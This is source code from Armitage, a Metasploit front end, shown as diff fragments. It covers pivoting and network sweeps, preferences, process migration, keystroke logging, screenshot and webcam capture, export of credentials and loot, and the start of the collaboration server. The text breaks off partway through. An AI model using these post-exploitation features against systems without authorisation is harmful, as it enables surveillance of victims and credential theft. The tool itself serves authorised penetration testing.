local('$host $mask');
$host = [$model getSelectedValueFromColumn: $table, "host"];
$mask = [$model getSelectedValueFromColumn: $table, "mask"];
if ($host ne "" && $mask ne "") {
elog("ping sweep: $host $+ /" . maskToCIDR($mask) . " via $sid", sessionToHost($sid));
module_execute("post", "multi/gather/ping_sweep", %(SESSION => $sid, RHOSTS => "$host $+ /" . maskToCIDR($mask)));
}
[$dialog setVisible: 0];
}
sub add_pivot_function {
local('$host $mask');
$host = [$model getSelectedValueFromColumn: $table, "host"];
$mask = [$model getSelectedValueFromColumn: $table, "mask"];
if ($host ne "" && $mask ne "") {
elog("added pivot: $host $mask $sid", sessionToHost($sid));
cmd_safe("route add $host $mask $sid", {
if ($3 ne "") { showError($3); }
});
}
[$dialog setVisible: 0];
}
#
# pop up a dialog to start our attack with... fun fun fun
#
# pivot_dialog($sid, $network output?))
sub pivot_dialog {
if ($0 eq "end") {
local('$data $platform');
$data = sessionData($1);
if ($data && 'platform' in $data) {
$platform = $data['platform'];
}
# parse through the routing table...
local('@tempr $entry $host $mask $gateway @routes');
@tempr = parseTextTable($2, @('Subnet', 'Netmask', 'Gateway', 'Metric', 'Interface'));
foreach $entry (@tempr) {
($host, $mask, $gateway) = values($entry, @('Subnet', 'Netmask', 'Gateway'));
if ($host ne "127.0.0.1" && $host ne "127.0.0.0" && $host ne "224.0.0.0" && $host ne "0.0.0.0" && $mask ne "255.255.255.255") {
# work around a Metasploit bug that returns the host IP/mask rather than the actual route info
# for Java meterpreter...
if ($platform eq "java/java") {
local('$a $b $c $d');
($a, $b, $c, $d) = split('\\.', $host);
if ($mask eq "255.255.255.0") {
$host = "$a $+ . $+ $b $+ . $+ $c $+ .0";
}
else if ($mask eq "255.255.0.0") {
$host = "$a $+ . $+ $b $+ .0.0";
}
else if ($mask eq "255.0.0.0") {
$host = "$a $+ .0.0.0";
}
}
push(@routes, %(host => $host, mask => $mask, gateway => $gateway));
}
}
# ok, let's close down this handler...
$platform = $null;
$handler = $null;
%handlers["route"] = $null;
if (size(@routes) == 0) {
# eventually, we're going to need to parse IPv6 stuff...
return;
}
local('$dialog $model $table $sorter $center $a $route $button');
$dialog = [new JDialog: $frame, $title, 0];
[$dialog setSize: 320, 240];
[$dialog setLayout: [new BorderLayout]];
[$dialog setLocationRelativeTo: $frame];
[$dialog setLayout: [new BorderLayout]];
$model = [new GenericTableModel: @("host", "mask"), "Option", 8];
foreach $route (@routes) {
[$model _addEntry: $route];
}
$table = [new ATable: $model];
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
$sorter = [new TableRowSorter: $model];
[$table setRowSorter: $sorter];
if (size(@routes) > 0) {
[[$table getSelectionModel] addSelectionInterval: 0, 0];
}
$center = [new JScrollPane: $table];
$a = [new JPanel];
[$a setLayout: [new FlowLayout: [FlowLayout CENTER]]];
$button = [new JButton: $label];
[$button addActionListener: lambda($function, \$table, \$model, \$dialog, \$sid)];
[$a add: $button];
[$dialog add: $center, [BorderLayout CENTER]];
[$dialog add: $a, [BorderLayout SOUTH]];
[$button requestFocus];
[$dialog setVisible: 1];
}
}
sub setupPivotDialog {
return lambda({
%handlers["route"] = lambda(&pivot_dialog, \$sid, $title => "Add Pivot", $label => "Add Pivot", $function => &add_pivot_function);
m_cmd($sid, "route");
}, $sid => "$1");
}
sub setupArpScanDialog {
return lambda({
%handlers["route"] = lambda(&pivot_dialog, \$sid, $title => "ARP Scan", $label => "ARP Scan", $function => &arp_scan_function);
m_cmd($sid, "route");
}, $sid => "$1");
}
sub setupPingSweepDialog {
return lambda({
%handlers["route"] = lambda(&pivot_dialog, \$sid, $title => "Ping Sweep", $label => "Ping Sweep", $function => &ping_sweep_function);
m_cmd($sid, "route");
}, $sid => "$1");
}
# killPivots(sid, session data
sub killPivots {
local('$route');
foreach $route (split(',', $2['routes'])) {
cmd_safe("route remove " . strrep($route, '/', ' ') . " $1");
}
elog("removed pivot: " . $2['routes']);
}

View File

@ -0,0 +1,374 @@
#
# Preferences
#
import table.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import java.io.*;
import msf.DatabaseImpl;
import ui.*;
global('$preferences $debug $motd $DATA_DIRECTORY $BASE_DIRECTORY $TITLE $CLIENT_CONFIG');
sub iHateYaml {
local('$handle %result $current $text $key $value');
$handle = openf($1);
$current = "default";
while $text (readln($handle)) {
if ($text ismatch '(\w+):') {
$current = matched()[0];
}
else if ($text ismatch '\s+([\w\\.]+): [\'"]{0,1}([\w\\.]+)[\'"]{0,1}') {
($key, $value) = matched();
%result[$current][$key] = $value;
}
}
return %result;
}
sub parseYaml {
# all heil the Yaml file... holder of the database info.
local('$database $user $pass $host $port $driver $object $file $setting');
($file, $setting) = $2;
try {
$object = iHateYaml($file);
$object = $object[$setting];
if ($object !is $null) {
($user, $pass, $database, $driver, $host, $port) = values($object, @("username", "password", "database", "adapter", "host", "port"));
[$1 setProperty: "connect.db_connect.string", "$user $+ :\" $+ $pass $+ \"@ $+ $host $+ : $+ $port $+ / $+ $database"];
[$1 setProperty: "connect.db_driver.string", $driver];
}
}
catch $exception {
showError("Couldn't load yaml file: $file $+ \n $+ $exception");
}
}
sub loadPreferences {
local('$file $prefs');
$file = getFileProper(systemProperties()["user.home"], ".armitage.prop");
$prefs = [new Properties];
if (-exists $file) {
[$prefs load: [new java.io.FileInputStream: $file]];
}
else {
[$prefs load: resource("resources/armitage.prop")];
}
# parse command line options here.
global('$yaml_file $yaml_entry');
local('%env');
$yaml_entry = "production";
%env = convertAll([System getenv]);
if ("MSF_DATABASE_CONFIG" in %env) {
$yaml_file = %env["MSF_DATABASE_CONFIG"];
}
while (size(@ARGV) > 0) {
if (@ARGV[0] eq "-y" && -exists @ARGV[1]) {
$yaml_file = @ARGV[1];
@ARGV = sublist(@ARGV, 2);
}
else if (@ARGV[0] eq "-e") {
$yaml_entry = @ARGV[1];
@ARGV = sublist(@ARGV, 2);
}
else if (@ARGV[0] eq "--motd" || @ARGV[0] eq "-m") {
$motd = @ARGV[1];
@ARGV = sublist(@ARGV, 2);
if (!-exists $motd) {
warn("$motd file does not exist. Clients will not see MOTD.");
}
}
else if (@ARGV[0] eq "--server") {
break;
}
else if (@ARGV[0] eq "--client") {
$CLIENT_CONFIG = @ARGV[1];
@ARGV = sublist(@ARGV, 2);
if (!-exists $CLIENT_CONFIG) {
warn("$CLIENT_CONFIG file does not exist. Will show something else.");
}
}
else {
showError("I don't understand these arguments:\n" . join("\n", @ARGV));
break;
}
}
$TITLE = [$prefs getProperty: "armitage.application_title.string", "Armitage"];
return $prefs;
}
sub loadDatabasePreferences {
if ($yaml_file eq "" || !-exists $yaml_file) {
$yaml_file = getFileProper($BASE_DIRECTORY, "config", "database.yml");
}
if (!-exists $yaml_file) {
throw [new RuntimeException: "I can not find a database.yml file. I *really* need it.\nTry setting MSF_DATABASE_CONFIG to a file that exists."];
}
else if (!-canread $yaml_file) {
throw [new RuntimeException: "I do not have permission to read: $yaml_file $+ .\nRun me as root please."];
}
else {
parseYaml($1, @($yaml_file, $yaml_entry));
}
return [$1 getProperty: "connect.db_connect.string"];
}
sub savePreferences {
local('$file');
$file = getFileProper(systemProperties()["user.home"], ".armitage.prop");
if (-exists getFileParent($file)) {
[$preferences save: [new java.io.FileOutputStream: $file], "Armitage Configuration"];
}
}
$preferences = loadPreferences();
sub makePrefModel {
local('$model');
$model = [new GenericTableModel: @("component", "name", "type", "value"), "name", 32];
return updatePrefModel($model);
}
sub updatePrefModel {
local('$key $value $component $name $type $model');
$model = $1;
[$model setCellEditable: 3];
foreach $key => $value (convertAll($preferences)) {
($component, $name, $type) = split('\\.', $key);
if ($type eq "color" || $type eq "shortcut" || $type eq "font" || $type eq "folder") {
$type = "$type \u271A";
}
[$model addEntry: %(component => $component, name => $name, type => $type, value => $value, key => "$key")];
}
return $model;
}
# $select = [new JComboBox: @("Font", "Monospaced", "Courier New", "Courier")];
# $style = [new JComboBox: @("Style", "Bold", "Italic", "Bold/Italic")];
# $size = [new JComboBox: @("Size")];
sub selectListener {
local('$f_font $f_style $f_size $describe');
$f_font = [$select getSelectedItem];
$f_style = strrep(uc([$style getSelectedItem]), ' + ', '');
$f_size = [$size getSelectedItem];
$describe = "$f_font $+ - $+ $f_style $+ - $+ $f_size";
[$preview setFont: [Font decode: $describe]];
[$dialog pack];
return $describe;
}
sub createPreferencesTab {
local('$table $model $panel $sorter $model $l');
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
$model = makePrefModel();
$table = [new ATable: $model];
$sorter = [new TableRowSorter: $model];
[$table setRowSorter: $sorter];
# allow only one row to be selected at a time.
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
addMouseListener($table, lambda({
if ($0 eq 'mouseClicked' && [$1 getClickCount] >= 2) {
local('$sel $type $color $row $value');
$sel = [$model getSelectedValue: $table];
$type = [$model getSelectedValueFromColumn: $table, "type"];
$row = [$model getSelectedRow: $table];
$value = [$model getSelectedValueFromColumn: $table, "value"];
# strip the last two characters off.
$type = substr($type, 0, -2);
if ($type eq "color") {
$color = [JColorChooser showDialog: $table, "pick a color", [Color decode: iff($value eq "", "#000000", $value)]];
if ($color !is $null) {
[$model setValueAtRow: $row, "value", '#' . substr(formatNumber(uint([$color getRGB]), 10, 16), 2)];
[$model fireListeners];
}
}
else if ($type eq "folder") {
local('$file');
$file = chooseFile($dirsonly => 1);
if ($file !is $null) {
[$model setValueAtRow: $row, "value", $file];
[$model fireListeners];
}
}
else if ($type eq "font") {
local('$dialog $select $style $size $ok $cancel $preview $graphics $l $font $_style');
$dialog = dialog("Choose a font", 640, 240);
[$dialog setLayout: [new BorderLayout]];
$font = [Font decode: $value];
$graphics = [GraphicsEnvironment getLocalGraphicsEnvironment];
# style..
if ([$font isItalic] && [$font isBold]) { $_style = "Bold + Italic"; }
else if ([$font isItalic]) { $_style = "Italic"; }
else if ([$font isBold]) { $_style = "Bold"; }
else { $_style = "Plain"; }
$select = select([$graphics getAvailableFontFamilyNames], [$font getFamily]);
$style = select(@("Plain", "Bold", "Italic", "Bold + Italic"), $_style);
$size = select(@(5, 8, 9, 10, 11, 12, 13, 14, 15, 16, 20, 23, 26, 30, 33, 38), [$font getSize] . "");
$preview = [new JLabel: "nEWBS gET p0WNED by km-r4d h4x0rz"];
$l = lambda(&selectListener, \$select, \$style, \$size, \$preview, \$dialog);
map(lambda({ [$1 addItemListener: $l]; }, \$l), @($select, $style, $size));
[$l];
$ok = [new JButton: "Ok"];
[$ok addActionListener: lambda({
local('$font');
[$model setValueAtRow: $row, "value", [$l]];
[$model fireListeners];
[$dialog setVisible: 0];
}, \$dialog, \$model, \$row, \$l)];
$cancel = [new JButton: "Cancel"];
[$cancel addActionListener: lambda({ [$dialog setVisible: 0]; }, \$dialog)];
[$dialog add: center($select, $style, $size), [BorderLayout NORTH]];
[$dialog add: center($preview)];
[$dialog add: center($ok, $cancel), [BorderLayout SOUTH]];
[$dialog pack];
[$dialog setVisible: 1];
[$dialog show];
}
else if ($type eq "shortcut") {
local('$dialog $label');
$dialog = dialog("Shortcut", 100, 100);
$label = [new JLabel: "Type the desired key:"];
[$dialog add: $label];
[$dialog pack];
[$label setFocusTraversalKeys: [KeyboardFocusManager FORWARD_TRAVERSAL_KEYS], [new HashSet]];
[$label setFocusTraversalKeys: [KeyboardFocusManager BACKWARD_TRAVERSAL_KEYS], [new HashSet]];
[$label setFocusTraversalKeys: [KeyboardFocusManager UP_CYCLE_TRAVERSAL_KEYS], [new HashSet]];
[$label addKeyListener: lambda({
if ($0 eq "keyReleased") {
[$model setValueAtRow: $row, "value", strrep([KeyStroke getKeyStrokeForEvent: $1], 'released', 'pressed')];
[$model fireListeners];
[$dialog setVisible: 0];
}
}, \$dialog, \$model, \$row)];
[$dialog setVisible: 1];
[$dialog show];
[$label requestFocus];
}
}
}, \$model, \$table));
local('$button $reset');
$button = [new JButton: "Save"];
[$button addActionListener: lambda({
local('$row $key $value');
$preferences = [new Properties];
foreach $row (convertAll([$model getRows])) {
($key, $value) = values($row, @('key', 'value'));
[$preferences setProperty: $key, $value];
}
savePreferences();
showError("Preferences saved.");
}, \$model)];
$reset = [new JButton: "Reset"];
[$reset addActionListener: lambda({
local('$file');
$file = getFileProper(systemProperties()["user.home"], ".armitage.prop");
deleteFile($file);
$preferences = loadPreferences();
[$model clear: 256];
updatePrefModel($model);
[$model fireListeners];
}, \$model)];
[$panel add: center($button, $reset), [BorderLayout SOUTH]];
local('$dialog');
$dialog = dialog("Preferences", 640, 480);
[$dialog add: $panel, [BorderLayout CENTER]];
[$button addActionListener: lambda({ [$dialog setVisible: 0]; }, \$dialog)];
[$dialog setVisible: 1];
[$dialog show];
}
# sets up the Metasploit base file and the data directory file...
sub setupBaseDirectory {
local('%o');
%o = call($client, "module.options", "post", "multi/gather/dns_bruteforce");
if ("NAMELIST" in %o && "default" in %o["NAMELIST"]) {
$BASE_DIRECTORY = getFileParent(getFileParent(getFileParent(getFileParent(%o["NAMELIST"]["default"]))));
$DATA_DIRECTORY = getFileParent(getFileParent(%o["NAMELIST"]["default"]));
}
}
sub connectToDatabase {
local('$dbuser $dbpass $dburl $database $dbstring');
$dbstring = loadDatabasePreferences($preferences);
if ($dbstring eq "") {
throw [new RuntimeException: "could not find database settings"];
}
($dbuser, $dbpass, $dburl) = matches($dbstring, '(.*?):.(.*?).@(.*)');
$database = [new DatabaseImpl];
[$database connect: "jdbc:postgresql:// $+ $dburl", $dbuser, $dbpass];
# connect to the database from metasploit if need be.
cmd_safe("db_status", lambda({
if ("* connected to *" !iswm $3) {
cmd_safe("db_connect $dbstring", {
warn(@_);
});
}
}, \$dbstring));
return $database;
}
sub dataDirectory {
local('$f');
if ([$preferences getProperty: "armitage.log_data_here.folder", ""] eq "") {
[$preferences setProperty: "armitage.log_data_here.folder", getFileProper(systemProperties()["user.home"], ".armitage")];
savePreferences();
}
$f = [$preferences getProperty: "armitage.log_data_here.folder"];
if (-exists $f && !-canwrite $f) {
println("I do not have permission to write to:\n $+ $f");
}
return $f;
}

View File

@ -0,0 +1,109 @@
#
# Process Browser (for Meterpreter)
#
import table.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import ui.*;
global('%processes');
%processes = ohash();
setMissPolicy(%processes, { return [new GenericTableModel: @("PID", "Name", "Arch", "Session", "User", "Path"), "PID", 128]; });
sub parseProcessList {
if ($0 eq "end") {
local('@rows $row');
[%processes[$1] clear: 128];
@rows = parseTextTable($2, @("PID", "Name", "Arch", "Session", "User", "Path"));
foreach $row (@rows) {
[%processes[$1] addEntry: $row];
}
[%processes[$1] fireListeners];
}
}
%handlers["ps"] = &parseProcessList;
%handlers["migrate"] = { if ($0 eq "begin") { showError("$2"); } };
sub createProcessBrowser {
local('$table $model $panel $sorter');
$model = %processes[$1];
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
$table = [new ATable: $model];
$sorter = [new TableRowSorter: $model];
[$sorter toggleSortOrder: 0];
[$table setRowSorter: $sorter];
# setup popup hook for processes
addMouseListener($table, lambda({
if ([$1 isPopupTrigger]) {
local('$r');
$r = [$model getSelectedValuesFromColumns: $table, @("PID", "Name", "User", "Path")];
if (size($r) > 0) {
installMenu($1, "process", $r);
}
}
}, \$table, \$model));
# allow only one row to be selected at a time.
[$sorter setComparator: 0, {
return $1 <=> $2;
}];
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
local('$a $b $bb $c');
$a = [new JButton: "Kill"];
[$a addActionListener: lambda({
local('$procs $v');
$procs = [$model getSelectedValues: $table];
foreach $v ($procs) {
m_cmd($m, "kill $v");
}
sleep(250);
m_cmd($m, "ps");
}, $m => $1, \$table, \$model)];
$b = [new JButton: "Migrate"];
[$b addActionListener: lambda({
local('$v');
$v = [$model getSelectedValue: $table];
if ($v !is $null) {
m_cmd($m, "migrate $v");
}
}, $m => $1, \$table, \$model)];
$bb = [new JButton: "Log Keystrokes"];
[$bb addActionListener: lambda({
local('$v');
$v = [$model getSelectedValue: $table];
if ($v !is $null) {
launch_dialog("Log Keystrokes", "post", "windows/capture/keylog_recorder", 1, $null, %(SESSION => $m, MIGRATE => 1, ShowKeystrokes => 1, PID => $v, CAPTURE_TYPE => "pid"));
}
}, $m => $1, \$table, \$model)];
$c = [new JButton: "Refresh"];
[$c addActionListener:
lambda({
m_cmd($m, "ps");
}, $m => $1)
];
[$panel add: center($a, $b, $bb, $c), [BorderLayout SOUTH]];
[$frame addTab: "Processes $1", $panel, $null, "Processes " . sessionToHost($1)];
m_cmd($1, "ps");
}

View File

@ -0,0 +1,361 @@
#
# Armitage Reporting... (well, sorta... not going to generate PDFs any time soon :))
#
import java.io.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
sub dumpTSVData {
local('$handle $entry $key $value');
if ($3 is $null) {
warn("No data for $1");
return;
}
$handle = openf("> $+ $1 $+ .tsv");
println($handle, join("\t", $2));
foreach $entry ($3) {
foreach $key => $value ($entry) {
$value = strrep(["$value" trim], "\t", " ", "\n", "\\n");
}
println($handle, join("\t", values($entry, $2)));
}
closef($handle);
}
sub dumpXMLData {
local('$handle $entry $key $value');
if ($3 is $null) {
warn("No data for $1");
return;
}
$handle = openf("> $+ $1 $+ .xml");
println($handle, "< $+ $1 $+ >");
foreach $entry ($3) {
println($handle, "\t<entry>");
foreach $key ($2) {
$value = $entry[$key];
if ($key eq "info") {
println($handle, "\t\t< $+ $key $+ ><![CDATA[ $+ $value $+ ]]></ $+ $key $+ >");
}
else {
println($handle, "\t\t< $+ $key $+ > $+ $value $+ </ $+ $key $+ >");
}
}
println($handle, "\t</entry>");
}
println($handle, "</ $+ $1 $+ >");
closef($handle);
}
sub dumpData {
dumpXMLData($1, $2, $3);
dumpTSVData($1, $2, $3);
logFile("$1 $+ .xml", "artifacts", "xml");
logFile("$1 $+ .tsv", "artifacts", "tsv");
deleteFile("$1 $+ .xml");
deleteFile("$1 $+ .tsv");
}
sub fixHosts {
return sort({
return [graph.Route ipToLong: $1['address']] <=> [graph.Route ipToLong: $2['address']];
}, $1);
}
sub fixSessions {
local('$session $info');
foreach $session ($1) {
if ("exploit/*" iswm $session['via_exploit'] && substr($session['via_exploit'], 8) in @exploits) {
$info = call($mclient, "module.info", "exploit", substr($session['via_exploit'], 8));
# fix some options
$session['exploit_name'] = $info['name'];
}
else if ("auxiliary/*" iswm $session['via_exploit'] && substr($session['via_exploit'], 10) in @auxiliary) {
$info = call($mclient, "module.info", "auxiliary", substr($session['via_exploit'], 10));
# fix some options
$session['exploit_name'] = $info['name'];
}
}
return $1;
}
sub fixTimeline {
local('$event $source $username');
foreach $event ($1) {
($source, $username) = split('//', $event['username']);
$event['source'] = $source;
$event['username'] = $username;
}
return $1;
}
sub fixVulns {
local('$id $vuln %vulns %refs $info');
%refs = ohash();
setMissPolicy(%refs, { return @(); });
# let's group everything by a unique vulnerability id... we're going to collapse the
# the vulns into one row with comma separated refs.
foreach $vuln ($1) {
$id = $vuln['vid'];
%vulns[$id] = $vuln;
push(%refs[$id], $vuln['refs']);
}
# fix the references...
foreach $id => $vuln (%vulns) {
$vuln['refs'] = join(", ", %refs[$id]);
if ("exploit/*" iswm $vuln['name'] && substr($vuln['name'], 8) in @exploits) {
$info = call($mclient, "module.info", "exploit", substr($vuln['name'], 8));
# fix some options
$vuln['module'] = $vuln['name'];
$vuln['name'] = $info['name'];
$vuln['info'] = replace($info['description'], "\n\\s+", "\n");
}
else if ("auxiliary/*" iswm $vuln['name'] && substr($vuln['name'], 10) in @auxiliary) {
$info = call($mclient, "module.info", "auxiliary", substr($vuln['name'], 10));
# fix some options
$vuln['module'] = $vuln['name'];
$vuln['name'] = $info['name'];
$vuln['info'] = replace($info['description'], "\n\\s+", "\n");
}
}
return sort({
return [graph.Route ipToLong: $1['host']] <=> [graph.Route ipToLong: $2['host']];
}, values(%vulns));
}
#
# query all of the data that we want...
# queryData(%workspace)
#
sub queryData {
local('%r $progress');
# 1. extract the known vulnerability information
%r['vulns'] = call($mclient, "db.vulns")["vulns"];
if ($progress) {
[$progress setProgress: 10];
}
%r['vulns'] = fixVulns(%r['vulns']);
# 2. credentials
%r['creds'] = call($mclient, "db.creds")["creds"];
if ($progress) {
[$progress setProgress: 20];
}
# 3. loot
%r['loots'] = call($mclient, "db.loots")["loots"];
if ($progress) {
[$progress setProgress: 30];
}
# 4. clients
%r['clients'] = call($mclient, "db.clients")["clients"];
if ($progress) {
[$progress setProgress: 35];
}
# 5. sessions...
%r['sessions'] = fixSessions(call($mclient, "db.sessions")["sessions"]);
if ($progress) {
[$progress setProgress: 36];
}
# 6. timeline
%r['timeline'] = fixTimeline(call($mclient, "db.events")['events']);
if ($progress) {
[$progress setProgress: 38];
}
# 7. hosts and services
local('@hosts @services $temp $h $s $x');
call($mclient, "armitage.prep_export", $1);
$temp = call($mclient, "armitage.export_data");
while (size($temp['hosts']) > 0) {
($h, $s) = values($temp, @('hosts', 'services'));
addAll(@hosts, $h);
addAll(@services, $s);
if ($progress) {
[$progress setProgress: 35 + $x];
}
$x += 2;
sleep(50);
$temp = call($mclient, "armitage.export_data");
}
%r['hosts'] = fixHosts(@hosts);
%r['services'] = @services;
return %r;
}
#
# extract and export Metasploit data to easily parsable files (TSV and XML)
#
sub generateArtifacts {
local('$dialog $select @workspaces $export');
$dialog = dialog("Export Data", 320, 200);
@workspaces = map({ return $1['name']; }, workspaces());
add(@workspaces, "All Hosts");
$select = select(@workspaces, "Show All");
$export = [new JButton: "Export"];
[$export addActionListener: lambda({
thread(lambda({
local('$filter $files');
if ($item eq "All Hosts") {
$filter = %();
}
else {
$filter = search(workspaces(),
lambda({
return iff($1['name'] eq $item, $1);
}, \$item));
}
$files = _generateArtifacts($filter);
[gotoFile([new java.io.File: $files])];
}, $item => [$select getSelectedItem]));
[$dialog setVisible: 0];
}, \$select, \$dialog)];
[$dialog setLayout: [new BorderLayout]];
[$dialog add: label_for("Workspace:", 100, $select), [BorderLayout CENTER]];
[$dialog add: center($export), [BorderLayout SOUTH]];
[$dialog pack];
[$dialog setVisible: 1];
[$dialog show];
}
sub _generateArtifacts {
local('%data $progress');
$progress = [new javax.swing.ProgressMonitor: $null, "Exporting Data", "Querying Database...", 0, 100];
%data = queryData($1, \$progress);
[$progress setProgress: 50];
[$progress setNote: "Exporting Data"];
# 1. extract the known vulnerability information
dumpData("vulnerabilities", @("host", "port", "proto", "updated_at", "name", "refs", "info", "module"), %data['vulns']);
[$progress setProgress: 55];
# 2. credentials
dumpData("credentials", @("host", "port", "proto", "sname", "created_at", "active", "ptype", "user", "pass"), %data['creds']);
[$progress setProgress: 60];
# 3. loot
dumpData("loots", @("host", "ltype", "created_at", "updated_at", "info", "content_type", "name", "path"), %data['loots']);
[$progress setProgress: 65];
# 4. clients
dumpData("clients", @("host", "created_at", "updated_at", "ua_name", "ua_ver", "ua_string"), %data['clients']);
[$progress setProgress: 70];
# 5. hosts
dumpData("hosts", @("address", "mac", "state", "address", "address6", "name", "purpose", "info", "os_name", "os_flavor", "os_sp", "os_lang", "os_match", "created_at", "updated_at"), %data['hosts']);
[$progress setProgress: 80];
# 6. services
dumpData("services", @("host", "port", "state", "proto", "name", "created_at", "updated_at", "info"), %data['services']);
[$progress setProgress: 90];
# 7. sessions
dumpData("sessions", @("host", "local_id", "stype", "platform", "via_payload", "via_exploit", "opened_at", "last_seen", "closed_at", "close_reason"), %data['sessions']);
[$progress setProgress: 93];
# 8. timeline
dumpData("timeline", @("source", "username", "created_at", "info"), %data['timeline']);
[$progress setProgress: 96];
# 9. take a pretty screenshot of the graph view...
[$progress setNote: "host picture :)"];
makeScreenshot("hosts.png");
if (-exists "hosts.png") {
logFile("hosts.png", "artifacts", ".");
deleteFile("hosts.png");
}
[$progress setProgress: 100];
[$progress close];
return getFileProper(dataDirectory(), formatDate("yyMMdd"), "artifacts");
}
#
# connects to the database (if necessary), resets the host index for pagination and... rocks it!
#
sub api_prep_export {
if ($db is $null) {
$db = connectToDatabase();
}
[$db resetHostsIndex];
[$db execute: "db.filter", $2];
return %(status => "success");
}
# pages through database and grabs all of the hosts and services data
sub api_export_data {
local('@hosts $temp @services $stemp');
# call db.filter here if requested...
@hosts = call($db, "db.hosts")['hosts'];
# get all of the services for these hosts...
[$db resetServicesIndex];
$temp = call($db, "db.services")['services'];
while (size($temp) > 0) {
addAll(@services, $temp);
[$db nextServicesIndex];
$temp = call($db, "db.services")['services'];
}
[$db nextHostsIndex];
return %(hosts => @hosts, services => @services);
}
sub initReporting {
global('$poll_lock @events'); # set in the dserver, not in stand-alone Armitage
wait(fork({
global('$db');
[$client addHook: "armitage.export_data", &api_export_data];
[$client addHook: "armitage.prep_export", &api_prep_export];
}, \$client, $mclient => $client, \$preferences, \$yaml_file, \$BASE_DIRECTORY, \$yaml_entry));
}

View File

@ -0,0 +1,100 @@
#
# Screenshot viewer... whee?!?
#
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.imageio.*;
import java.io.File;
import ui.*;
import armitage.*;
global('%screenshots %webcams');
%screenshots = ohash();
%webcams = ohash();
sub image_viewer
{
local('$panel $viewer $buttons $refresh $watch');
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
$viewer = [new ZoomableImage];
[$panel add: [new JScrollPane: $viewer], [BorderLayout CENTER]];
$buttons = [new JPanel];
[$buttons setLayout: [new FlowLayout: [FlowLayout CENTER]]];
$refresh = [new JButton: "Refresh"];
[$refresh addActionListener: lambda({
m_cmd($sid, $command);
}, $sid => $2, \$command)];
[$buttons add: $refresh];
$watch = [new JButton: "Watch (10s)"];
[$watch addActionListener: lambda({
local('$timer');
$timer = [new SimpleTimer: 10000];
[$timer setRunnable: lambda({
if ($sid !in $container) {
[$timer stop];
}
else {
m_cmd($sid, $command);
}
}, \$sid, \$timer, \$container, \$command)];
}, $sid => $2, \$container, \$command)];
[$buttons add: $watch];
[$panel add: $buttons, [BorderLayout SOUTH]];
[$frame addTab: "$title $2", $panel, lambda({ $container[$key] = $null; size($container); }, $key => $2, \$container), "$title " . sessionToHost($2)];
return $viewer;
}
sub update_viewer {
if ($0 eq "update" && "*Operation failed*" iswm $2) {
showError($2);
}
else if ($0 eq "update" && $2 ismatch "$type saved to: (.*?)") {
local('$file $image $panel');
($file) = matched();
# we're collaborating, so download the file please...
if ($client !is $mclient) {
$file = getFileProper(cwd(), downloadFile($file));
}
logFile($file, sessionToHost($1), $type);
$image = [ImageIO read: [new File: $file]];
dispatchEvent(lambda({
[$container[$id] setIcon: [new ImageIcon: $image]];
}, \$container, \$image, $id => $1));
if (-isFile $file && "*.jpeg" iswm $file) {
deleteFile($file);
}
}
}
setMissPolicy(%screenshots, lambda(&image_viewer, $title => "Screenshot", $command => "screenshot -v false", $container => %screenshots));
setMissPolicy(%webcams, lambda(&image_viewer, $title => "Webcam", $command => "webcam_snap -v false", $container => %webcams));
%handlers["screenshot"] = lambda(&update_viewer, $type => "Screenshot", $container => %screenshots);
%handlers["webcam_snap"] = lambda(&update_viewer, $type => "Webcam shot", $container => %webcams);
sub createScreenshotViewer {
return lambda({
m_cmd($sid, "screenshot -v false");
}, $sid => $1);
}
sub createWebcamViewer {
return lambda({
m_cmd($sid, "webcam_snap -v false");
}, $sid => $1);
}

View File

@ -0,0 +1,522 @@
#
# -= Armitage Network Attack Collaboration Server =-
#
# This is a separate application. It creates a second interface that Armitage uses
# to collaborate with other network attack clients.
#
# Features include:
# - Meterpreter multiplexing (writes take ownership of a session, reads are silently ignored
# for non-owner clients).
# - Upload/download files (allows feature dependent on files to work)
# - Group chat (because everyone loves chatting...)
#
# This is a proof of concept quickly hacked out (do you see how long this code is?)
#
# My goal is to eventually see this technology ported to Metasploit's RPC interface
# so this second instance can be done away with.
#
# Any takers? :)
#
debug(7);
import msf.*;
sub result {
local('$rv $key $value');
$rv = [new HashMap];
foreach $key => $value ($1) {
[$rv put: "$key", "$value"];
}
return $rv;
}
sub event {
local('$result');
$result = formatDate("HH:mm:ss") . " $1";
acquire($poll_lock);
push(@events, $result);
release($poll_lock);
}
sub client {
local('$temp $result $method $eid $sid $args $data $session $index $rv $valid $h $channel $key $value $file $response $time $address $app $ver %async %consoles');
# do these things asynchronously so we don't tie up a client's thread
%async['module.execute'] = 1;
%async['core.setg'] = 1;
%async['console.destroy'] = 1;
%async['console.write'] = 1;
%async['session.shell_write'] = 1;
#
# verify the client
#
$temp = readObject($handle);
($method, $args) = $temp;
if ($method ne "armitage.validate") {
writeObject($handle, result(%(error => 1, message => "You're not authenticated")));
return;
}
else {
local('$user $pass');
($user, $pass, $eid, $app, $ver) = $args;
if ($user ne $_user || $pass ne $_pass) {
warn("Rejected $eid (invalid login)");
writeObject($handle, result(%(error => 1, message => "Invalid login.")));
return;
}
else if ($app ne "armitage") {
warn("Rejected $eid (wrong application)");
writeObject($handle, result(%(error => 1, message => "Your client is not compatible with this server.\nPlease use the latest version of Armitage.")));
return;
}
else if ($ver < 120326) {
warn("Rejected $eid (old software -- srsly, update people!)");
writeObject($handle, result(%(error => 1, message => "Your client is outdated.\nPlease use the latest version of Armitage.")));
return;
}
else if ($motd ne "" && -exists $motd) {
$temp = openf($motd);
writeObject($handle, result(%(message => readb($temp, -1))));
closef($temp);
}
else {
writeObject($handle, result(%(message => "Collaboration setup!")));
}
if ($eid !is $null) {
event("*** $eid joined\n");
warn("*** $eid joined");
}
}
# limit our replay of the event log to 100 events...
acquire($poll_lock);
if (size(@events) > 100) {
$index = size(@events) - 100;
}
else {
